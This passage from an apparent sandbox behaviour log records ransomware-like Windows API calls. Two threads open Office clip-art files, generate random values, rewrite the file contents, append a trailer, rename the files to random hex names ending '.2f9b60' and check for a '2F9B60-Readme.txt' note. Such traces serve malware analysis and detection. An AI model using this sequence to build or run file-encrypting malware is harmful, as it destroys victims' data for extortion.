[0131.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205098d0) returned 1 [0131.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aec0) returned 1 Thread: id = 1737 os_tid = 0x1734 [0131.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf")) returned 0x20 [0131.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF", dwFileAttributes=0x20) returned 1 [0131.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac0 [0131.546] GetFileSizeEx (in: hFile=0x1ac0, lpFileSize=0x23cdf9a0 | out: lpFileSize=0x23cdf9a0*=10770) returned 1 [0131.546] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x2a0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.546] ReadFile (in: hFile=0x1ac0, lpBuffer=0x23cdf920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23cdf968, lpOverlapped=0x0 | out: lpBuffer=0x23cdf920*, lpNumberOfBytesRead=0x23cdf968*=0x4, lpOverlapped=0x0) returned 1 [0131.576] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0131.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0131.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0131.577] NtQuerySystemTime (in: CurrentTime=0x23cdf860 | out: CurrentTime=0x23cdf860*=132462177368194000) returned 0x0 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x2d5f058f [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x4453745b [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x3db4b341 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x6608c0b1 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x44ec79c9 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x710bc69d [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x47f11f9e [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x34f62e23 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x40d0d30a [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x39d0bbe3 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x724ac61b [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x436858cf [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x3e69967 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x71af9ded [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x36a2a5a3 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x2dcf9e52 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x3c89128e [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x4e1db284 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x61ab7260 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x7f111330 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x2f3fc478 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x652e4f02 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x25d9a6d2 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x7889a763 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x28905a46 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x6eb2262e [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x2feb2dd1 [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x221d00cd [0131.577] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x4b56210b [0131.578] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x2ad6a9b4 [0131.578] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x7e96868a [0131.578] RtlRandomEx (in: Seed=0x23cdf850 | out: Seed=0x23cdf850) returned 0x5ed88054 [0131.588] ReadFile (in: hFile=0x1ac0, lpBuffer=0x41f2e130, nNumberOfBytesToRead=0x2a12, lpNumberOfBytesRead=0x23cdf850, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesRead=0x23cdf850*=0x2a12, lpOverlapped=0x0) returned 1 [0131.612] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.612] WriteFile (in: hFile=0x1ac0, lpBuffer=0x201f5950*, nNumberOfBytesToWrite=0x2a12, lpNumberOfBytesWritten=0x23cdf854, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesWritten=0x23cdf854*=0x2a12, lpOverlapped=0x0) returned 1 [0131.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0131.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a20) returned 1 [0131.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0131.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0131.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266a20 [0131.681] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.682] WriteFile (in: hFile=0x1ac0, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23cdf970, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x23cdf970*=0x10a, lpOverlapped=0x0) returned 1 [0131.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0131.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0131.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0131.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0131.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669c0) returned 1 [0131.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.717] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="37") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="80") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="f5") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="05") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="b8") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="7d") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="0c") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="bf") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="07") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="7c") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="ed") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="64") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="be") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="07") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="27") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="65") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="75") returned 2 [0131.717] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="ab") returned 2 [0131.718] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="d0") returned 2 [0131.718] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="4c") returned 2 [0131.718] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="6d") returned 2 [0131.718] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="3e") returned 2 [0131.718] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="8c") returned 2 [0131.718] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="fd") returned 2 [0131.718] RtlInitAnsiString (in: DestinationString=0x23cdf9e8, SourceString="3780f505b87d0cbf077ced64be07276575abd04c6d3e8cfd" | out: DestinationString="3780f505b87d0cbf077ced64be07276575abd04c6d3e8cfd") [0131.718] RtlAnsiStringToUnicodeString (in: DestinationString=0x23cdf9b8, SourceString="3780f505b87d0cbf077ced64be07276575abd04c6d3e8cfd", AllocateDestinationString=1 | out: DestinationString="3780f505b87d0cbf077ced64be07276575abd04c6d3e8cfd") returned 0x0 [0131.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1e90 [0131.718] wcscat (in: _Dest=0x20508590, _Source="3780f505b87d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3780f505b87d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3780f505b87d" [0131.718] wcscat (in: _Dest=0x20508590, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3780f505b87d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3780f505b87d.2f9b60" [0131.718] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3780f505b87d.2f9b60", NtPathName=0x23cdf990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3780f505b87d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862720 [0131.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862720) returned 1 [0131.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48d60) returned 1 [0131.754] NtQueryInformationFile (in: FileHandle=0x1ac0, IoStatusBlock=0x23cdf9f8, FileInformation=0x23cdfa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23cdf9f8, FileInformation=0x23cdfa08) returned 0x0 [0131.754] NtSetInformationFile (FileHandle=0x1ac0, IoStatusBlock=0x23cdf9f8, FileInformation=0x23cdfa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508590) returned 1 [0131.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e90) returned 1 [0131.756] FlushFileBuffers (hFile=0x1ac0) returned 1 [0131.791] CloseHandle (hObject=0x1ac0) returned 1 [0131.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x20509c30 [0131.793] wcscpy (in: _Dest=0x20509c30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.793] wcscat (in: _Dest=0x20509c30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509c30) returned 1 [0131.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205098d0) returned 1 Thread: id = 1738 os_tid = 0x17f8 [0131.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf")) returned 0x20 [0131.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF", dwFileAttributes=0x20) returned 1 [0131.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac4 [0131.596] GetFileSizeEx (in: hFile=0x1ac4, lpFileSize=0x23dcf960 | out: lpFileSize=0x23dcf960*=38284) returned 1 [0131.596] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x9588, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.596] ReadFile (in: hFile=0x1ac4, lpBuffer=0x23dcf8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23dcf928, lpOverlapped=0x0 | out: lpBuffer=0x23dcf8e0*, lpNumberOfBytesRead=0x23dcf928*=0x4, lpOverlapped=0x0) returned 1 [0131.617] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669f0 [0131.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.618] NtQuerySystemTime (in: CurrentTime=0x23dcf820 | out: CurrentTime=0x23dcf820*=132462177368662000) returned 0x0 [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x3a1de277 [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x2d42530c [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x13d84fd1 [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x3fbf0a41 [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x51ac3d8a [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x42b62927 [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x705866a8 [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x6e0434ce [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x652ddadc [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x2018a257 [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x35dc22a [0131.618] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x38e2650f [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x19f5f155 [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x7b05148c [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x1e0322da [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x79e35262 [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x15b5a3cc [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x6825633b [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x326e0663 [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x64c76269 [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x53dfb02f [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x2ea91ccc [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x10d12c0c [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x25804d52 [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x151ddb05 [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x2d842f4d [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x488dbc64 [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x5c67c015 [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x2d1e3d4f [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x30c59f80 [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x126b51fd [0131.619] RtlRandomEx (in: Seed=0x23dcf810 | out: Seed=0x23dcf810) returned 0x381bf965 [0131.633] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.633] ReadFile (in: hFile=0x1ac4, lpBuffer=0x41f1b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23dcf880, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesRead=0x23dcf880*=0x3c00, lpOverlapped=0x0) returned 1 [0131.691] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0131.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0131.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0131.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f2e130 [0131.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0131.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266bd0 [0131.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266bd0) returned 1 [0131.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.693] WriteFile (in: hFile=0x1ac4, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23dcf880, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x23dcf880*=0x3c00, lpOverlapped=0x0) returned 1 [0131.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0131.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0131.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266b10 [0131.709] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.709] WriteFile (in: hFile=0x1ac4, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23dcf930, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x23dcf930*=0x10a, lpOverlapped=0x0) returned 1 [0131.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0131.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668d0) returned 1 [0131.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0131.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0131.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266930) returned 1 [0131.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.712] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="4d") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="f6") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="26") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="53") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="32") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="94") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="0e") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="50") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="a5") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="1a") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="51") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="b6") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="48") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="3d") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="c9") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="f5") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="4f") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="51") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="cc") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="55") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="d8") returned 2 [0131.713] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="c4") returned 2 [0131.714] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="fe") returned 2 [0131.714] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="7e") returned 2 [0131.714] RtlInitAnsiString (in: DestinationString=0x23dcf9a8, SourceString="4df6265332940e50a51a51b6483dc9f54f51cc55d8c4fe7e" | out: DestinationString="4df6265332940e50a51a51b6483dc9f54f51cc55d8c4fe7e") [0131.714] RtlAnsiStringToUnicodeString (in: DestinationString=0x23dcf978, SourceString="4df6265332940e50a51a51b6483dc9f54f51cc55d8c4fe7e", AllocateDestinationString=1 | out: DestinationString="4df6265332940e50a51a51b6483dc9f54f51cc55d8c4fe7e") returned 0x0 [0131.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2520 [0131.714] wcscat (in: _Dest=0x205084f0, _Source="4df626533294" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4df626533294") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4df626533294" [0131.714] wcscat (in: _Dest=0x205084f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4df626533294.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4df626533294.2f9b60" [0131.714] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4df626533294.2f9b60", NtPathName=0x23dcf950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4df626533294.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8625c0 [0131.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8625c0) returned 1 [0131.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0131.730] NtQueryInformationFile (in: FileHandle=0x1ac4, 